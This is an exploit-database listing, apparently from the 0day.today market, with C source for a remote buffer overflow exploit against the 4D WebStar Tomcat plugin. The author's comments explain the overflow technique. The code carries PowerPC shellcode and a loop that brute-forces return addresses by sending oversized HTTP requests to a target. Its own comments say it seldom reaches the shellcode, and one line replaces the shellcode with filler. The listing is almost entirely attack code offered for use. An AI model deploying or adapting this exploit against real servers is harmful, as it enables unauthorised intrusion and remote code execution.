[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

4D WebStar Tomcat Plugin Remote Buffer Overflow Exploit

Author
Braden Thomas
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-8564
Category
remote exploits
Date add
06-05-2005
Platform
unsorted
=======================================================
4D WebStar Tomcat Plugin Remote Buffer Overflow Exploit
=======================================================

/* 4d buffer overflow
Braden Thomas

the buffer is copied byte by byte starting from the beginning of
the buffer
until a NULL byte is reached (or a couple other types of bytes)
the buffer is copied from a pointer that resides past the end of
the buffer
the buffer can overflow over this pointer, allowing the program
to read bytes to wherever it wants

-the exploit must restore this pointer or risk reading from null
memory, terminating overflow
-the pointer is different each time, though it's location in
relation to the buffer is static (buffer+1285)
-the pointer is overwritten byte by byte, meaning that one wrong
byte, and we're reading from
somewhere else... which can be potentially bad in terms
of exploitation

method:
-exploit attempts to: overwrite the pointer so that the memory
will continue to be overflowed
(i.e., do not point into any memory that contains a null byte)
-exploit attempts to continue overflowing with return addresses,
to overflow where LR is stored
-when loop ends and LR is restored, it will return execution
into the buffer and into shellcode
-some looping has been added, where BUFADDR is enumerated to try
to brute force the overflow
because failed servers are respawned

results:
actually successful in moving the execution pointer about 10
to 25% of the time
unsuccessful in actually jumping to the nops/shellcode :(

problems I don't understand:
occasionally other threads crash in weird places (memcpy and
szone_malloc)...
this might actually be when it works as desired and
doesn't crash... but other threads do crash
before shellcode can do its magic!
(but that's just a hypothesis) :)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/time.h>

unsigned char shellcode[]= // no 0x00 0x20 0x3f 0x24 0x2f
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\xa8\x02\xa6\x38\xc3\xe1\x35"
"\x39\x80\x01\x18\x39\xad\x1f\xff\x81\xcd\xe1\x39\x81\xed\xe1\x35"
"\x7d\xef\x72\x78\x91\xed\xe1\x35\x7c\x06\x68\xac\x7c\x01\x04\xac"
"\x7c\x06\x6f\xac\x4c\x01\x01\x2c\x39\xad\xff\xfc\x39\x8c\xff\xfb"
"\x7d\x8c\x63\x79\x40\x82\xff\xd8\x3b\xe0\x30\xff\x7f\xe0\x4e\x70"
"\x44\xff\xff\x02\x7c\x63\x1a\x79\x7c\x63\x1a\x79\x7c\x63\x1a\x79"
"\x10\x29\x25\xcb\x10\xc9\x25\xc8\x10\xe9\x25\xcf\x10\x49\x25\xa8"
"\x6c\x49\x25\xcb\x54\x49\x27\xb1\x54\x37\x3e\xb1\x60\x49\x25\xc4"
"\x28\x4b\x3e\xf0\x28\x49\x25\xc9\x54\xc1\x27\x6f\x10\xe9\x25\xd9"
"\x10\x49\x25\xa1\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x10\x49\x25\xa3\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\x8a\xd6\xb1\x10\x49\x25\xd7\x10\xc9\x25\xd9\xb8\xc8\xda\x21"
"\x10\xe8\xda\x21\x10\xc8\xda\x39\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x54\x37\x3e\xb1\x10\xe9\x25\xcb\x10\x49\x25\x93\x57\x8a\xd6\xb1"
"\x54\xed\x0e\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1\x10\xec\xda\x36"
"\x04\x4c\xda\x36\x68\xcb\xda\x2c\x10\x49\x25\x8b\x6c\x49\x25\xcb"
"\x54\x49\x27\xb1\x54\xec\x0f\xb0\x68\xcb\xda\x34\x54\x21\x27\x6f"
"\x10\x2a\x25\xe1\xb8\x28\xda\x31\xb8\xe8\xda\x35\x10\xc8\xda\x31"
"\x10\x49\x25\xf2\x54\x49\x21\x65\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\xa9\x25\xc1\x07\x2b\x4c\xa7\x07\x2a\x56\xa1\x28\x49\x25\xc9"
"\x28\x49\x25\xc9";

#define BUFSIZE 1400
long BUFADDR= 0x284fe04;//0x02850204;

int main(int argc, char *argv[])
{
printf("4d WebSTAR buffer overflow\n");
printf("\tBraden Thomas\n");

if (argc<2)
{
printf("4dbo <target>\n");
return 1;
}

struct sockaddr_in their_addr;
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(80);
inet_aton(argv[1], &(their_addr.sin_addr));
memset(&(their_addr.sin_zero), '\0', 8);


int count=0;
while (1)
{

char buffer[BUFSIZE];

// [nops][shellcode][ret addrs][readaddr][more ret addrs]

memset(buffer,0x60,sizeof(buffer)); // nops first

int shellcodeLen = sizeof(shellcode)-1;
memset(shellcode,'A',shellcodeLen); // just for testing!

memcpy(buffer+400+5,shellcode,shellcodeLen); // nextshellcode


unsigned long retaddr = BUFADDR + 0x1600; // as if it matters... this never works!
unsigned long *bufPtr = (unsigned long*)(buffer+400 +shellcodeLen+5); // now for ret addrs
int bufCnt;
for (bufCnt=400+shellcodeLen;bufCnt<BUFSIZE;bufCnt+=4)
{
memcpy(bufPtr,&retaddr,4);
bufPtr++;
}

unsigned long readaddr = BUFADDR; // now ptr read address
// just aguess... works pretty well tho
memcpy(buffer+1285,&readaddr,4);

memcpy(buffer,"GET /",5);
char httpStr[]=" HTTP/1.1\r\n\r\n";
memcpy(buffer+BUFSIZE-sizeof(httpStr),httpStr,sizeof(httpStr));

if (!count)
printf("\nRead addr: 0x%x\nReturn addr: 0x%x \n",readaddr,retaddr);


int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof
(struct sockaddr)) == -1)
{
printf("connect error\n");
return 1;
}
if (send(sockfd, buffer, sizeof(buffer)-1, 0) == -1)
{
printf("send error\n");
return 1;
}

struct timeval time;
fd_set mySet;
FD_ZERO(&mySet);
FD_SET(sockfd, &mySet);
time.tv_sec = 40;
time.tv_usec = 0;
if (!select(sockfd+1, &mySet, NULL, NULL, &time))
{
printf("\nNo response received.\n");
break;
}
else
{
char resBuff[64];
int readRes = recv(sockfd, resBuff, sizeof(resBuff), 0);
if (!readRes)
{
printf("\nZero length response.\n");
}
else if (!(count%21))
printf("\nResponse length: %d", readRes);
else
printf(".");

count++;

if (count>=100)
{
count=0;
BUFADDR+=0x200;
if (BUFADDR>0x285c000)
BUFADDR=0x284f204;
}

}

close(sockfd);
}
return 0;
}


#  0day.today [2024-12-24]  #